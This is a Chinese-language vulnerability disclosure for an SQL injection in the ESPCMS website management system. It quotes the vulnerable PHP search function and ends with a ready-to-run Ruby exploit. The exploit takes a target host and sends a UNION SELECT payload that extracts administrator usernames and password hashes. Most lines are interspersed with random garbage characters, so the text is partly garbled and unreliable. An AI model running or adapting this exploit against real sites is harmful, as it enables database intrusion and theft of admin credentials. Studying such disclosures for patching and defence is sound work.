0×0 漏洞概述0×1 漏洞细节8 x+ X/ @. Q, A# n; N0 z
0×2 PoC9 ]- l, X) o& ~
, X) ~# m4 h$ v5 G; ^
+ P; v% X1 H$ H/ e9 G# k- s- E
- a# L/ p5 J; U4 {0×0 漏洞概述
; h8 E0 i \6 m& o6 U
& e# j; c* ^/ V4 m/ w* a5 W9 Z易思ESPCMS企业网站管理系统基于LAMP开发构建的企业网站管理系统,它具有操作简单、功能强大、稳定性好、扩展性及安全性强、二次开发及后期维护方便,可以帮您迅速、轻松地构建起一个强大专业的企业网站。
; _$ i C) I: W7 W其在处理传入的参数时考虑不严谨导致SQL注入发生 J: |; t0 H6 i3 q# w: I( z
) T( I1 o$ Y' x \; w
& y; x5 F) t$ G3 a* K0×1 漏洞细节+ P8 e) q! s* y- Q& A8 a1 \
8 @2 _/ e" p) k+ u3 D# {变量的传递过程是$_SERVER['QUERY_STRING']->$urlcode->$output->$value->$db_where->$sql->mysql_query,整个过程无过滤导致了注入的发生。" k" K" N2 r: z, e
正因为变量是从$_SERVER['QUERY_STRING']中去取的,所以正好避开了程序的过滤。( `& ^0 H2 u) q5 @
而注入的变量是数组的值,并非数组的key,所以也没过被过滤,综合起来形成了一个比较少见的SQL注入。
0 G e) R* ?% \; ^' a
* m$ M m/ s9 Y) i. J3 C: R在/interface/3gwap_search.php文件的in_result函数中: y0 a/ b3 f$ R
" e. v$ i. n4 w: Q1 e
`% j/ _" N. D! D0 I: W8 w7 [ o/ b P1 Z) S
function in_result() {* {6 h" p" C5 p' a
... ... ... ... ... ... ... ... ...
( `3 k \- D4 E3 W# m $urlcode = $_SERVER[ 'QUERY_STRING '];
2 i( ~$ V/ D5 O; A |3 E6 _5 N parse_str(html_entity_decode($urlcode), $output);
3 _8 y" G; B5 Y$ M7 T6 S8 a
" n3 a1 ?& E7 H6 j$ P" L/ m3 \1 g ... ... ... ... ... ... ... ... ...
8 F% N6 @4 R; h" x if (is_array($output['attr' ]) && count($output['attr']) > 0) {
" G. b# A/ J) D& ~) }
i. [$ f" w; Y# p$ S K, p5 s $db_table = db_prefix . 'model_att';
8 w1 r. B! R: v! h, P# a& ^( r2 ]7 r
foreach ($output['attr' ] as $key => $value) {" x. D$ S& f! c2 B0 [, \
if ($value) {
. s$ b! Q, D( ?4 J2 o8 y
: k: `4 h& F$ Y4 M% T0 H% p. m $key = addslashes($key);% ^" i4 l) L1 w" p: Q! c
$key = $this-> fun->inputcodetrim($key);$ b* c( d4 Q5 l$ q* P
$db_att_where = " WHERE isclass=1 AND attrname='$key'";; n6 Q5 B9 V4 ~+ s
$countnum = $this->db_numrows($db_table, $db_att_where);/ U+ z. ^* x6 L2 n( i, U
if ($countnum > 0) {* L. L$ p% o( [6 Z; a# R
$db_where .= ' AND b.' . $key . '=\'' . $value . '\'' ;: n2 y. b/ k4 A- U: p
}& F! s& J2 m) M& r# u- m9 W6 G% `
}2 a, W0 }7 s+ h" }9 M
}/ Q1 }; y6 _& K% J
}% l( m. u9 q% r% S2 X
if (!empty ($keyword) && empty($keyname)) {; S* o0 V# Y6 u% s- O/ {. F$ f
$keyname = 'title';- v, O* M: v3 v2 ^
$db_where.= " AND a.title like '%$keyword%'" ;
- d6 {: Y* N" l. ^" d! [ } elseif (!empty ($keyword) && !empty($keyname)) {
2 d& j3 ~4 |0 A* o8 [# x1 P $db_where.= " AND $keyname like '% $keyword%'";9 w Z. a& V" `
}
4 Q' u- e: [0 T- [+ S' E $pagemax = 15;
) q5 H# |) ~& k4 F6 z' N$ L$ `3 C7 R$ j9 `7 {* ?/ z$ e7 Z
$pagesylte = 1;
4 G. Z8 G' }2 D2 P* m t# W+ D
6 t! e3 R' s3 H, O if ($countnum > 0) {
# Y5 s' j: \. m: ?" B/ t0 @ p: L
$numpage = ceil($countnum / $pagemax);+ }$ _$ H. h- b3 j8 I2 J: F" e
} else {6 O! ^1 M" K6 P2 |# s8 [
$numpage = 1;
4 l1 f+ _: f! b5 ] } M. N X& d- O( O* g
$sql = "SELECT b.*,a.* FROM " . db_prefix . "document AS a LEFT JOIN " . db_prefix . "document_attr AS b ON a.did=b.did " . $db_where . ' LIMIT 0,' . $pagemax;
9 O/ h) k# O+ p $this-> htmlpage = new PageBotton($sql, $pagemax, $page, $countnum, $numpage, $pagesylte, $this->CON ['file_fileex' ], 5, $this->lng['pagebotton' ], $this->lng['gopageurl'], 0);# j4 y' H& D/ s& {8 y& T0 J3 c
$sql = $this-> htmlpage->PageSQL('a.did' , 'down' ); $rs = $this->db->query($sql);$ F9 [9 L8 y2 X8 b, ^; G- B
... ... ... ... ... ... ... ... ...7 U9 H* N2 t4 e, H" A
}
7 L4 E5 n9 W! v) L9 q9 }" N% a) c" g: p6 j: P9 C6 [0 K g g L: o
& ~6 m" P3 S) U2 P& o% r0×2 PoC
}; W. p+ U% i3 p) a3 K2 A5 P+ V/ B$ R8 o- u) A
# V `6 d8 i7 d3 d( t( V) s3 a0 T- R
/ _# Y! x! y! h9 e3 Y( k$ ~5 N4 A- p
require "net/http"& ^5 k) e$ C. }$ U7 D0 L: f
6 [0 h" m R( `3 W D3 u
def request(method, url)& w8 a. D0 L$ @% i4 t8 @" l! N# w
if method.eql?("get")4 [% t$ X8 l; l
uri = URI.parse(url): O2 [& o: F* E& I; N
http = Net::HTTP.new(uri.host, uri.port)
# `. p; V8 l+ V# ~* u+ v# k response = http.request(Net::HTTP::Get.new(uri.request_uri))
) a' g0 B0 W6 ^# \/ O8 l4 C. g return response
+ v. O" D- X3 c end
6 P/ U. @: H* a9 G7 S" |8 z' _end3 Q [- |( f) K" \& c) g6 U
; K( o$ i9 c$ I( ]2 u- }" u; vdoc =<<HERE4 n" } l( d5 ]' S. l! D8 N
-------------------------------------------------------
: u8 G6 x1 s8 K7 AEspcms Injection Exploit# C( X, ~1 d- W; m
Author:ztz2 b3 H& u$ V" F. {/ ^2 o
Blog:http://ztz.fuzzexp.org/4 J: H/ u |2 f8 {" P. X$ [9 {. {6 }
-------------------------------------------------------9 D% R8 k. _! c( Z6 w. o& G
) z9 s& ?/ \$ K6 A4 K
HERE
& s" Z; A3 o- ~3 [" d0 x( X p* ^- \
usage =<<HERE: n# ]) ?7 @% {+ Z$ U) B3 u
Usage: ruby #{$0} host port path' p; v" {. [0 u0 z- M+ h5 U
example: ruby #{$0} www.target.com 80 /
0 e+ p7 s- Q" Z! q7 Z, lHERE3 l) v( R$ \4 y4 l9 e
! O. \; _, J* D7 ^2 Tputs doc2 y) R' V# h* O3 W
if ARGV.length < 3
) e8 H. S" J/ Z& h5 J+ s puts usage ~" I6 t& u% _' E' q
else
/ x0 t; n9 r1 ?5 W $host = ARGV[0]: ]+ l- M. H: `2 O+ F/ H4 k
$port = ARGV[1]2 g' z6 Z2 h `2 m5 S0 z5 F
$path = ARGV[2]$ y: h' i3 b" c2 M+ q
5 x1 [# F' Y" r, N puts "send request..."7 D. F0 H: s1 f8 j) K4 B$ i# a
url = "http://#{$host}:#{$port}#{$path}wap/index.php?ac=search&at=result&lng=cn&mid=3&tid=11&keyword=1&keyname=a.title&countnum=1&- I2 o! L p" j
attr[jobnum]=1%27%20and%201=2%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13
. X$ p+ ]( y0 ?- ]5 u" G,14,15,16,17,18,19,20,21,22,23,24,25,concat%28username,CHAR%2838%29,password%29,27
8 |7 q ^9 ~# A4 u6 g) m. t,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45%20from%20espcms_admin_member;%23"" X1 N/ L3 Y( w( `- v
response = request("get", url)' h/ \' P: a0 ?8 [+ C
result = response.body.scan(/\w+&\w{32}/)% q/ U/ z0 M3 i* C
puts result
; D# Z0 E) B$ `& a5 D- Cend$ E7 I! r# x) R/ V: ?9 L3 q
+ L) g$ A% U7 ^5 r7 Q8 l6 r) W% O |